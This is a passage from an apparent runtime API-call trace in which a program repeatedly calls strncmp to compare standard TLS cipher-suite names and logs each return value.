(_Str1="ECDHE-ECDSA-AES128-GCM-SHA256", _Str2="ECDHE-ECDSA-AES256-SHA", _MaxCount=0x1d) returned -1 [0118.896] strncmp (_Str1="ECDHE-ECDSA-AES128-GCM-SHA256", _Str2="SRP-DSS-AES-256-CBC-SHA", _MaxCount=0x1d) returned -14 [0118.896] strncmp (_Str1="ECDHE-ECDSA-AES128-GCM-SHA256", _Str2="SRP-RSA-AES-256-CBC-SHA", _MaxCount=0x1d) returned -14 [0118.896] strncmp (_Str1="ECDHE-ECDSA-AES128-GCM-SHA256", _Str2="SRP-AES-256-CBC-SHA", _MaxCount=0x1d) returned -14 [0118.896] strncmp (_Str1="ECDHE-ECDSA-AES128-GCM-SHA256", _Str2="DHE-DSS-AES256-GCM-SHA384", _MaxCount=0x1d) returned 1 [0118.896] strncmp (_Str1="ECDHE-ECDSA-AES128-GCM-SHA256", _Str2="DHE-RSA-AES256-GCM-SHA384", _MaxCount=0x1d) returned 1 [0118.896] strncmp (_Str1="ECDHE-ECDSA-AES128-GCM-SHA256", _Str2="DHE-RSA-AES256-SHA256", _MaxCount=0x1d) returned 1 [0118.896] strncmp (_Str1="ECDHE-ECDSA-AES128-GCM-SHA256", _Str2="DHE-DSS-AES256-SHA256", _MaxCount=0x1d) returned 1 [0118.896] strncmp (_Str1="ECDHE-ECDSA-AES128-GCM-SHA256", _Str2="DHE-RSA-AES256-SHA", _MaxCount=0x1d) returned 1 [0118.896] strncmp (_Str1="ECDHE-ECDSA-AES128-GCM-SHA256", _Str2="DHE-DSS-AES256-SHA", _MaxCount=0x1d) returned 1 [0118.896] strncmp (_Str1="ECDHE-ECDSA-AES128-GCM-SHA256", _Str2="DHE-RSA-CAMELLIA256-SHA", _MaxCount=0x1d) returned 1 [0118.896] strncmp (_Str1="ECDHE-ECDSA-AES128-GCM-SHA256", _Str2="DHE-DSS-CAMELLIA256-SHA", _MaxCount=0x1d) returned 1 [0118.896] strncmp (_Str1="ECDHE-ECDSA-AES128-GCM-SHA256", _Str2="AECDH-AES256-SHA", _MaxCount=0x1d) returned 4 [0118.896] strncmp (_Str1="ECDHE-ECDSA-AES128-GCM-SHA256", _Str2="ADH-AES256-GCM-SHA384", _MaxCount=0x1d) returned 4 [0118.896] strncmp (_Str1="ECDHE-ECDSA-AES128-GCM-SHA256", _Str2="ADH-AES256-SHA256", _MaxCount=0x1d) returned 4 [0118.896] strncmp (_Str1="ECDHE-ECDSA-AES128-GCM-SHA256", _Str2="ADH-AES256-SHA", _MaxCount=0x1d) returned 4 [0118.896] strncmp (_Str1="ECDHE-ECDSA-AES128-GCM-SHA256", _Str2="ADH-CAMELLIA256-SHA", _MaxCount=0x1d) returned 4 [0118.896] strncmp (_Str1="ECDHE-ECDSA-AES128-GCM-SHA256", _Str2="ECDH-RSA-AES256-GCM-SHA384", _MaxCount=0x1d) returned 24 [0118.896] strncmp (_Str1="ECDHE-ECDSA-AES128-GCM-SHA256", _Str2="ECDH-ECDSA-AES256-GCM-SHA384", _MaxCount=0x1d) returned 24 [0118.896] strncmp (_Str1="ECDHE-ECDSA-AES128-GCM-SHA256", _Str2="ECDH-RSA-AES256-SHA384", _MaxCount=0x1d) returned 24 [0118.896] strncmp (_Str1="ECDHE-ECDSA-AES128-GCM-SHA256", _Str2="ECDH-ECDSA-AES256-SHA384", _MaxCount=0x1d) returned 24 [0118.896] strncmp (_Str1="ECDHE-ECDSA-AES128-GCM-SHA256", _Str2="ECDH-RSA-AES256-SHA", _MaxCount=0x1d) returned 24 [0118.896] strncmp (_Str1="ECDHE-ECDSA-AES128-GCM-SHA256", _Str2="ECDH-ECDSA-AES256-SHA", _MaxCount=0x1d) returned 24 [0118.896] strncmp (_Str1="ECDHE-ECDSA-AES128-GCM-SHA256", _Str2="AES256-GCM-SHA384", _MaxCount=0x1d) returned 4 [0118.896] strncmp (_Str1="ECDHE-ECDSA-AES128-GCM-SHA256", _Str2="AES256-SHA256", _MaxCount=0x1d) returned 4 [0118.896] strncmp (_Str1="ECDHE-ECDSA-AES128-GCM-SHA256", _Str2="AES256-SHA", _MaxCount=0x1d) returned 4 [0118.896] strncmp (_Str1="ECDHE-ECDSA-AES128-GCM-SHA256", _Str2="CAMELLIA256-SHA", _MaxCount=0x1d) returned 2 [0118.896] strncmp (_Str1="ECDHE-ECDSA-AES128-GCM-SHA256", _Str2="PSK-AES256-CBC-SHA", _MaxCount=0x1d) returned -11 [0118.896] strncmp (_Str1="ECDHE-ECDSA-AES128-GCM-SHA256", _Str2="ECDHE-RSA-AES128-GCM-SHA256", _MaxCount=0x1d) returned -13 [0118.896] strncmp (_Str1="ECDHE-ECDSA-AES128-GCM-SHA256", _Str2="ECDHE-ECDSA-AES128-GCM-SHA256", _MaxCount=0x1d) returned 0 [0118.896] strncmp (_Str1="ECDHE-RSA-AES128-GCM-SHA256", _Str2="ECDHE-RSA-AES256-GCM-SHA384", _MaxCount=0x1b) returned -1 [0118.896] strncmp (_Str1="ECDHE-RSA-AES128-GCM-SHA256", _Str2="ECDHE-ECDSA-AES256-GCM-SHA3", _MaxCount=0x1b) returned 13 [0118.896] strncmp (_Str1="ECDHE-RSA-AES128-GCM-SHA256", _Str2="ECDHE-RSA-AES256-SHA384", _MaxCount=0x1b) returned -1 [0118.896] strncmp (_Str1="ECDHE-RSA-AES128-GCM-SHA256", _Str2="ECDHE-ECDSA-AES256-SHA384", _MaxCount=0x1b) returned 13 [0118.896] strncmp (_Str1="ECDHE-RSA-AES128-GCM-SHA256", _Str2="ECDHE-RSA-AES256-SHA", _MaxCount=0x1b) returned -1 [0118.896] strncmp (_Str1="ECDHE-RSA-AES128-GCM-SHA256", _Str2="ECDHE-ECDSA-AES256-SHA", _MaxCount=0x1b) returned 13 [0118.896] strncmp (_Str1="ECDHE-RSA-AES128-GCM-SHA256", _Str2="SRP-DSS-AES-256-CBC-SHA", _MaxCount=0x1b) returned -14 [0118.896] strncmp (_Str1="ECDHE-RSA-AES128-GCM-SHA256", _Str2="SRP-RSA-AES-256-CBC-SHA", _MaxCount=0x1b) returned -14 [0118.896] strncmp (_Str1="ECDHE-RSA-AES128-GCM-SHA256", _Str2="SRP-AES-256-CBC-SHA", _MaxCount=0x1b) returned -14 [0118.896] strncmp (_Str1="ECDHE-RSA-AES128-GCM-SHA256", _Str2="DHE-DSS-AES256-GCM-SHA384", _MaxCount=0x1b) returned 1 [0118.896] strncmp (_Str1="ECDHE-RSA-AES128-GCM-SHA256", _Str2="DHE-RSA-AES256-GCM-SHA384", _MaxCount=0x1b) returned 1 [0118.896] strncmp (_Str1="ECDHE-RSA-AES128-GCM-SHA256", _Str2="DHE-RSA-AES256-SHA256", _MaxCount=0x1b) returned 1 [0118.896] strncmp (_Str1="ECDHE-RSA-AES128-GCM-SHA256", _Str2="DHE-DSS-AES256-SHA256", _MaxCount=0x1b) returned 1 [0118.896] strncmp (_Str1="ECDHE-RSA-AES128-GCM-SHA256", _Str2="DHE-RSA-AES256-SHA", _MaxCount=0x1b) returned 1 [0118.896] strncmp (_Str1="ECDHE-RSA-AES128-GCM-SHA256", _Str2="DHE-DSS-AES256-SHA", _MaxCount=0x1b) returned 1 [0118.896] strncmp (_Str1="ECDHE-RSA-AES128-GCM-SHA256", _Str2="DHE-RSA-CAMELLIA256-SHA", _MaxCount=0x1b) returned 1 [0118.896] strncmp (_Str1="ECDHE-RSA-AES128-GCM-SHA256", _Str2="DHE-DSS-CAMELLIA256-SHA", _MaxCount=0x1b) returned 1 [0118.896] strncmp (_Str1="ECDHE-RSA-AES128-GCM-SHA256", _Str2="AECDH-AES256-SHA", _MaxCount=0x1b) returned 4 [0118.897] strncmp (_Str1="ECDHE-RSA-AES128-GCM-SHA256", _Str2="ADH-AES256-GCM-SHA384", _MaxCount=0x1b) returned 4 [0118.897] strncmp (_Str1="ECDHE-RSA-AES128-GCM-SHA256", _Str2="ADH-AES256-SHA256", _MaxCount=0x1b) returned 4 [0118.897] strncmp (_Str1="ECDHE-RSA-AES128-GCM-SHA256", _Str2="ADH-AES256-SHA", _MaxCount=0x1b) returned 4 [0118.897] strncmp (_Str1="ECDHE-RSA-AES128-GCM-SHA256", _Str2="ADH-CAMELLIA256-SHA", _MaxCount=0x1b) returned 4 [0118.897] strncmp (_Str1="ECDHE-RSA-AES128-GCM-SHA256", _Str2="ECDH-RSA-AES256-GCM-SHA384", _MaxCount=0x1b) returned 24 [0118.897] strncmp (_Str1="ECDHE-RSA-AES128-GCM-SHA256", _Str2="ECDH-ECDSA-AES256-GCM-SHA38", _MaxCount=0x1b) returned 24 [0118.897] strncmp (_Str1="ECDHE-RSA-AES128-GCM-SHA256", _Str2="ECDH-RSA-AES256-SHA384", _MaxCount=0x1b) returned 24 [0118.897] strncmp (_Str1="ECDHE-RSA-AES128-GCM-SHA256", _Str2="ECDH-ECDSA-AES256-SHA384", _MaxCount=0x1b) returned 24 [0118.897] strncmp (_Str1="ECDHE-RSA-AES128-GCM-SHA256", _Str2="ECDH-RSA-AES256-SHA", _MaxCount=0x1b) returned 24 [0118.897] strncmp (_Str1="ECDHE-RSA-AES128-GCM-SHA256", _Str2="ECDH-ECDSA-AES256-SHA", _MaxCount=0x1b) returned 24 [0118.897] strncmp (_Str1="ECDHE-RSA-AES128-GCM-SHA256", _Str2="AES256-GCM-SHA384", _MaxCount=0x1b) returned 4 [0118.897] strncmp (_Str1="ECDHE-RSA-AES128-GCM-SHA256", _Str2="AES256-SHA256", _MaxCount=0x1b) returned 4 [0118.897] strncmp (_Str1="ECDHE-RSA-AES128-GCM-SHA256", _Str2="AES256-SHA", _MaxCount=0x1b) returned 4 [0118.897] strncmp (_Str1="ECDHE-RSA-AES128-GCM-SHA256", _Str2="CAMELLIA256-SHA", _MaxCount=0x1b) returned 2 [0118.897] strncmp (_Str1="ECDHE-RSA-AES128-GCM-SHA256", _Str2="PSK-AES256-CBC-SHA", _MaxCount=0x1b) returned -11 [0118.897] strncmp (_Str1="ECDHE-RSA-AES128-GCM-SHA256", _Str2="ECDHE-RSA-AES128-GCM-SHA256", _MaxCount=0x1b) returned 0 [0118.897] strncmp (_Str1="ECDHE-ECDSA-AES256-SHA", _Str2="ECDHE-RSA-AES256-GCM-S", _MaxCount=0x16) returned -13 [0118.897] strncmp (_Str1="ECDHE-ECDSA-AES256-SHA", _Str2="ECDHE-ECDSA-AES256-GCM", _MaxCount=0x16) returned 12 [0118.897] strncmp (_Str1="ECDHE-ECDSA-AES256-SHA", _Str2="ECDHE-RSA-AES256-SHA38", _MaxCount=0x16) returned -13 [0118.897] strncmp (_Str1="ECDHE-ECDSA-AES256-SHA", _Str2="ECDHE-ECDSA-AES256-SHA", _MaxCount=0x16) returned 0 [0118.897] strncmp (_Str1="ECDHE-ECDSA-AES256-SHA", _Str2="ECDHE-RSA-AES256-SHA", _MaxCount=0x16) returned -13 [0118.897] strncmp (_Str1="ECDHE-ECDSA-AES256-SHA", _Str2="ECDHE-ECDSA-AES256-SHA", _MaxCount=0x16) returned 0 [0118.897] strncmp (_Str1="ECDHE-ECDSA-AES128-SHA", _Str2="ECDHE-RSA-AES256-GCM-S", _MaxCount=0x16) returned -13 [0118.897] strncmp (_Str1="ECDHE-ECDSA-AES128-SHA", _Str2="ECDHE-ECDSA-AES256-GCM", _MaxCount=0x16) returned -1 [0118.897] strncmp (_Str1="ECDHE-ECDSA-AES128-SHA", _Str2="ECDHE-RSA-AES256-SHA38", _MaxCount=0x16) returned -13 [0118.897] strncmp (_Str1="ECDHE-ECDSA-AES128-SHA", _Str2="ECDHE-ECDSA-AES256-SHA", _MaxCount=0x16) returned -1 [0118.897] strncmp (_Str1="ECDHE-ECDSA-AES128-SHA", _Str2="ECDHE-RSA-AES256-SHA", _MaxCount=0x16) returned -13 [0118.897] strncmp (_Str1="ECDHE-ECDSA-AES128-SHA", _Str2="ECDHE-ECDSA-AES256-SHA", _MaxCount=0x16) returned -1 [0118.897] strncmp (_Str1="ECDHE-ECDSA-AES128-SHA", _Str2="SRP-DSS-AES-256-CBC-SH", _MaxCount=0x16) returned -14 [0118.897] strncmp (_Str1="ECDHE-ECDSA-AES128-SHA", _Str2="SRP-RSA-AES-256-CBC-SH", _MaxCount=0x16) returned -14 [0118.897] strncmp (_Str1="ECDHE-ECDSA-AES128-SHA", _Str2="SRP-AES-256-CBC-SHA", _MaxCount=0x16) returned -14 [0118.897] strncmp (_Str1="ECDHE-ECDSA-AES128-SHA", _Str2="DHE-DSS-AES256-GCM-SHA", _MaxCount=0x16) returned 1 [0118.897] strncmp (_Str1="ECDHE-ECDSA-AES128-SHA", _Str2="DHE-RSA-AES256-GCM-SHA", _MaxCount=0x16) returned 1 [0118.897] strncmp (_Str1="ECDHE-ECDSA-AES128-SHA", _Str2="DHE-RSA-AES256-SHA256", _MaxCount=0x16) returned 1 [0118.897] strncmp (_Str1="ECDHE-ECDSA-AES128-SHA", _Str2="DHE-DSS-AES256-SHA256", _MaxCount=0x16) returned 1 [0118.897] strncmp (_Str1="ECDHE-ECDSA-AES128-SHA", _Str2="DHE-RSA-AES256-SHA", _MaxCount=0x16) returned 1 [0118.897] strncmp (_Str1="ECDHE-ECDSA-AES128-SHA", _Str2="DHE-DSS-AES256-SHA", _MaxCount=0x16) returned 1 [0118.897] strncmp (_Str1="ECDHE-ECDSA-AES128-SHA", _Str2="DHE-RSA-CAMELLIA256-SH", _MaxCount=0x16) returned 1 [0118.897] strncmp (_Str1="ECDHE-ECDSA-AES128-SHA", _Str2="DHE-DSS-CAMELLIA256-SH", _MaxCount=0x16) returned 1 [0118.897] strncmp (_Str1="ECDHE-ECDSA-AES128-SHA", _Str2="AECDH-AES256-SHA", _MaxCount=0x16) returned 4 [0118.897] strncmp (_Str1="ECDHE-ECDSA-AES128-SHA", _Str2="ADH-AES256-GCM-SHA384", _MaxCount=0x16) returned 4 [0118.897] strncmp (_Str1="ECDHE-ECDSA-AES128-SHA", _Str2="ADH-AES256-SHA256", _MaxCount=0x16) returned 4 [0118.897] strncmp (_Str1="ECDHE-ECDSA-AES128-SHA", _Str2="ADH-AES256-SHA", _MaxCount=0x16) returned 4 [0118.897] strncmp (_Str1="ECDHE-ECDSA-AES128-SHA", _Str2="ADH-CAMELLIA256-SHA", _MaxCount=0x16) returned 4 [0118.897] strncmp (_Str1="ECDHE-ECDSA-AES128-SHA", _Str2="ECDH-RSA-AES256-GCM-SH", _MaxCount=0x16) returned 24 [0118.897] strncmp (_Str1="ECDHE-ECDSA-AES128-SHA", _Str2="ECDH-ECDSA-AES256-GCM-", _MaxCount=0x16) returned 24 [0118.897] strncmp (_Str1="ECDHE-ECDSA-AES128-SHA", _Str2="ECDH-RSA-AES256-SHA384", _MaxCount=0x16) returned 24 [0118.897] strncmp (_Str1="ECDHE-ECDSA-AES128-SHA", _Str2="ECDH-ECDSA-AES256-SHA3", _MaxCount=0x16) returned 24 [0118.897] strncmp (_Str1="ECDHE-ECDSA-AES128-SHA", _Str2="ECDH-RSA-AES256-SHA", _MaxCount=0x16) returned 24 [0118.897] strncmp (_Str1="ECDHE-ECDSA-AES128-SHA", _Str2="ECDH-ECDSA-AES256-SHA", _MaxCount=0x16) returned 24 [0118.897] strncmp (_Str1="ECDHE-ECDSA-AES128-SHA", _Str2="AES256-GCM-SHA384", _MaxCount=0x16) returned 4 [0118.897] strncmp (_Str1="ECDHE-ECDSA-AES128-SHA", _Str2="AES256-SHA256", _MaxCount=0x16) returned 4 [0118.897] strncmp (_Str1="ECDHE-ECDSA-AES128-SHA", _Str2="AES256-SHA", _MaxCount=0x16) returned 4 [0118.897] strncmp (_Str1="ECDHE-ECDSA-AES128-SHA", _Str2="CAMELLIA256-SHA", _MaxCount=0x16) returned 2 [0118.897] strncmp (_Str1="ECDHE-ECDSA-AES128-SHA", _Str2="PSK-AES256-CBC-SHA", _MaxCount=0x16) returned -11 [0118.898] strncmp (_Str1="ECDHE-ECDSA-AES128-SHA", _Str2="ECDHE-RSA-AES128-GCM-S", _MaxCount=0x16) returned -13 [0118.898] strncmp (_Str1="ECDHE-ECDSA-AES128-SHA", _Str2="ECDHE-ECDSA-AES128-GCM", _MaxCount=0x16) returned 12 [0118.898] strncmp (_Str1="ECDHE-ECDSA-AES128-SHA", _Str2="ECDHE-RSA-AES128-SHA25", _MaxCount=0x16) returned -13 [0118.898] strncmp (_Str1="ECDHE-ECDSA-AES128-SHA", _Str2="ECDHE-ECDSA-AES128-SHA", _MaxCount=0x16) returned 0 [0118.898] strncmp (_Str1="ECDHE-ECDSA-AES128-SHA", _Str2="ECDHE-RSA-AES128-SHA", _MaxCount=0x16) returned -13 [0118.898] strncmp (_Str1="ECDHE-ECDSA-AES128-SHA", _Str2="ECDHE-ECDSA-AES128-SHA", _MaxCount=0x16) returned 0 [0118.898] strncmp (_Str1="ECDHE-RSA-AES128-SHA", _Str2="ECDHE-RSA-AES256-GCM", _MaxCount=0x14) returned -1 [0118.898] strncmp (_Str1="ECDHE-RSA-AES128-SHA", _Str2="ECDHE-ECDSA-AES256-G", _MaxCount=0x14) returned 13 [0118.898] strncmp (_Str1="ECDHE-RSA-AES128-SHA", _Str2="ECDHE-RSA-AES256-SHA", _MaxCount=0x14) returned -1 [0118.898] strncmp (_Str1="ECDHE-RSA-AES128-SHA", _Str2="ECDHE-ECDSA-AES256-S", _MaxCount=0x14) returned 13 [0118.898] strncmp (_Str1="ECDHE-RSA-AES128-SHA", _Str2="ECDHE-RSA-AES256-SHA", _MaxCount=0x14) returned -1 [0118.898] strncmp (_Str1="ECDHE-RSA-AES128-SHA", _Str2="ECDHE-ECDSA-AES256-S", _MaxCount=0x14) returned 13 [0118.898] strncmp (_Str1="ECDHE-RSA-AES128-SHA", _Str2="SRP-DSS-AES-256-CBC-", _MaxCount=0x14) returned -14 [0118.898] strncmp (_Str1="ECDHE-RSA-AES128-SHA", _Str2="SRP-RSA-AES-256-CBC-", _MaxCount=0x14) returned -14 [0118.898] strncmp (_Str1="ECDHE-RSA-AES128-SHA", _Str2="SRP-AES-256-CBC-SHA", _MaxCount=0x14) returned -14 [0118.898] strncmp (_Str1="ECDHE-RSA-AES128-SHA", _Str2="DHE-DSS-AES256-GCM-S", _MaxCount=0x14) returned 1 [0118.898] strncmp (_Str1="ECDHE-RSA-AES128-SHA", _Str2="DHE-RSA-AES256-GCM-S", _MaxCount=0x14) returned 1 [0118.898] strncmp (_Str1="ECDHE-RSA-AES128-SHA", _Str2="DHE-RSA-AES256-SHA25", _MaxCount=0x14) returned 1 [0118.898] strncmp (_Str1="ECDHE-RSA-AES128-SHA", _Str2="DHE-DSS-AES256-SHA25", _MaxCount=0x14) returned 1 [0118.898] strncmp (_Str1="ECDHE-RSA-AES128-SHA", _Str2="DHE-RSA-AES256-SHA", _MaxCount=0x14) returned 1 [0118.898] strncmp (_Str1="ECDHE-RSA-AES128-SHA", _Str2="DHE-DSS-AES256-SHA", _MaxCount=0x14) returned 1 [0118.898] strncmp (_Str1="ECDHE-RSA-AES128-SHA", _Str2="DHE-RSA-CAMELLIA256-", _MaxCount=0x14) returned 1 [0118.898] strncmp (_Str1="ECDHE-RSA-AES128-SHA", _Str2="DHE-DSS-CAMELLIA256-", _MaxCount=0x14) returned 1 [0118.898] strncmp (_Str1="ECDHE-RSA-AES128-SHA", _Str2="AECDH-AES256-SHA", _MaxCount=0x14) returned 4 [0118.898] strncmp (_Str1="ECDHE-RSA-AES128-SHA", _Str2="ADH-AES256-GCM-SHA38", _MaxCount=0x14) returned 4 [0118.898] strncmp (_Str1="ECDHE-RSA-AES128-SHA", _Str2="ADH-AES256-SHA256", _MaxCount=0x14) returned 4 [0118.898] strncmp (_Str1="ECDHE-RSA-AES128-SHA", _Str2="ADH-AES256-SHA", _MaxCount=0x14) returned 4 [0118.898] strncmp (_Str1="ECDHE-RSA-AES128-SHA", _Str2="ADH-CAMELLIA256-SHA", _MaxCount=0x14) returned 4 [0118.898] strncmp (_Str1="ECDHE-RSA-AES128-SHA", _Str2="ECDH-RSA-AES256-GCM-", _MaxCount=0x14) returned 24 [0118.898] strncmp (_Str1="ECDHE-RSA-AES128-SHA", _Str2="ECDH-ECDSA-AES256-GC", _MaxCount=0x14) returned 24 [0118.898] strncmp (_Str1="ECDHE-RSA-AES128-SHA", _Str2="ECDH-RSA-AES256-SHA3", _MaxCount=0x14) returned 24 [0118.898] strncmp (_Str1="ECDHE-RSA-AES128-SHA", _Str2="ECDH-ECDSA-AES256-SH", _MaxCount=0x14) returned 24 [0118.898] strncmp (_Str1="ECDHE-RSA-AES128-SHA", _Str2="ECDH-RSA-AES256-SHA", _MaxCount=0x14) returned 24 [0118.898] strncmp (_Str1="ECDHE-RSA-AES128-SHA", _Str2="ECDH-ECDSA-AES256-SH", _MaxCount=0x14) returned 24 [0118.898] strncmp (_Str1="ECDHE-RSA-AES128-SHA", _Str2="AES256-GCM-SHA384", _MaxCount=0x14) returned 4 [0118.898] strncmp (_Str1="ECDHE-RSA-AES128-SHA", _Str2="AES256-SHA256", _MaxCount=0x14) returned 4 [0118.898] strncmp (_Str1="ECDHE-RSA-AES128-SHA", _Str2="AES256-SHA", _MaxCount=0x14) returned 4 [0118.898] strncmp (_Str1="ECDHE-RSA-AES128-SHA", _Str2="CAMELLIA256-SHA", _MaxCount=0x14) returned 2 [0118.898] strncmp (_Str1="ECDHE-RSA-AES128-SHA", _Str2="PSK-AES256-CBC-SHA", _MaxCount=0x14) returned -11 [0118.898] strncmp (_Str1="ECDHE-RSA-AES128-SHA", _Str2="ECDHE-RSA-AES128-GCM", _MaxCount=0x14) returned 12 [0118.898] strncmp (_Str1="ECDHE-RSA-AES128-SHA", _Str2="ECDHE-ECDSA-AES128-G", _MaxCount=0x14) returned 13 [0118.898] strncmp (_Str1="ECDHE-RSA-AES128-SHA", _Str2="ECDHE-RSA-AES128-SHA", _MaxCount=0x14) returned 0 [0118.898] strncmp (_Str1="ECDHE-RSA-AES128-SHA", _Str2="ECDHE-ECDSA-AES128-S", _MaxCount=0x14) returned 13 [0118.898] strncmp (_Str1="ECDHE-RSA-AES128-SHA", _Str2="ECDHE-RSA-AES128-SHA", _MaxCount=0x14) returned 0 [0118.898] strncmp (_Str1="ECDHE-RSA-AES256-SHA", _Str2="ECDHE-RSA-AES256-GCM", _MaxCount=0x14) returned 12 [0118.898] strncmp (_Str1="ECDHE-RSA-AES256-SHA", _Str2="ECDHE-ECDSA-AES256-G", _MaxCount=0x14) returned 13 [0118.898] strncmp (_Str1="ECDHE-RSA-AES256-SHA", _Str2="ECDHE-RSA-AES256-SHA", _MaxCount=0x14) returned 0 [0118.898] strncmp (_Str1="ECDHE-RSA-AES256-SHA", _Str2="ECDHE-ECDSA-AES256-S", _MaxCount=0x14) returned 13 [0118.898] strncmp (_Str1="ECDHE-RSA-AES256-SHA", _Str2="ECDHE-RSA-AES256-SHA", _MaxCount=0x14) returned 0 [0118.898] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="ECDHE-RSA-AES256-GCM-S", _MaxCount=0x16) returned 3 [0118.898] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="ECDHE-ECDSA-AES256-GCM", _MaxCount=0x16) returned 13 [0118.898] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="ECDHE-RSA-AES256-SHA38", _MaxCount=0x16) returned 3 [0118.898] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="ECDHE-ECDSA-AES256-SHA", _MaxCount=0x16) returned 13 [0118.898] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="ECDHE-RSA-AES256-SHA", _MaxCount=0x16) returned 3 [0118.898] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="ECDHE-ECDSA-AES256-SHA", _MaxCount=0x16) returned 13 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="SRP-DSS-AES-256-CBC-SH", _MaxCount=0x16) returned -14 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="SRP-RSA-AES-256-CBC-SH", _MaxCount=0x16) returned -14 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="SRP-AES-256-CBC-SHA", _MaxCount=0x16) returned -14 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="DHE-DSS-AES256-GCM-SHA", _MaxCount=0x16) returned 1 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="DHE-RSA-AES256-GCM-SHA", _MaxCount=0x16) returned 1 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="DHE-RSA-AES256-SHA256", _MaxCount=0x16) returned 1 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="DHE-DSS-AES256-SHA256", _MaxCount=0x16) returned 1 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="DHE-RSA-AES256-SHA", _MaxCount=0x16) returned 1 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="DHE-DSS-AES256-SHA", _MaxCount=0x16) returned 1 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="DHE-RSA-CAMELLIA256-SH", _MaxCount=0x16) returned 1 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="DHE-DSS-CAMELLIA256-SH", _MaxCount=0x16) returned 1 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="AECDH-AES256-SHA", _MaxCount=0x16) returned 4 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="ADH-AES256-GCM-SHA384", _MaxCount=0x16) returned 4 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="ADH-AES256-SHA256", _MaxCount=0x16) returned 4 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="ADH-AES256-SHA", _MaxCount=0x16) returned 4 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="ADH-CAMELLIA256-SHA", _MaxCount=0x16) returned 4 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="ECDH-RSA-AES256-GCM-SH", _MaxCount=0x16) returned 24 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="ECDH-ECDSA-AES256-GCM-", _MaxCount=0x16) returned 24 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="ECDH-RSA-AES256-SHA384", _MaxCount=0x16) returned 24 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="ECDH-ECDSA-AES256-SHA3", _MaxCount=0x16) returned 24 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="ECDH-RSA-AES256-SHA", _MaxCount=0x16) returned 24 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="ECDH-ECDSA-AES256-SHA", _MaxCount=0x16) returned 24 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="AES256-GCM-SHA384", _MaxCount=0x16) returned 4 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="AES256-SHA256", _MaxCount=0x16) returned 4 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="AES256-SHA", _MaxCount=0x16) returned 4 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="CAMELLIA256-SHA", _MaxCount=0x16) returned 2 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="PSK-AES256-CBC-SHA", _MaxCount=0x16) returned -11 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="ECDHE-RSA-AES128-GCM-S", _MaxCount=0x16) returned 3 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="ECDHE-ECDSA-AES128-GCM", _MaxCount=0x16) returned 13 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="ECDHE-RSA-AES128-SHA25", _MaxCount=0x16) returned 3 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="ECDHE-ECDSA-AES128-SHA", _MaxCount=0x16) returned 13 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="ECDHE-RSA-AES128-SHA", _MaxCount=0x16) returned 3 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="ECDHE-ECDSA-AES128-SHA", _MaxCount=0x16) returned 13 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="SRP-DSS-AES-128-CBC-SH", _MaxCount=0x16) returned -14 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="SRP-RSA-AES-128-CBC-SH", _MaxCount=0x16) returned -14 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="SRP-AES-128-CBC-SHA", _MaxCount=0x16) returned -14 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="DHE-DSS-AES128-GCM-SHA", _MaxCount=0x16) returned 1 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="DHE-RSA-AES128-GCM-SHA", _MaxCount=0x16) returned 1 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="DHE-RSA-AES128-SHA256", _MaxCount=0x16) returned 1 [0118.899] strncmp 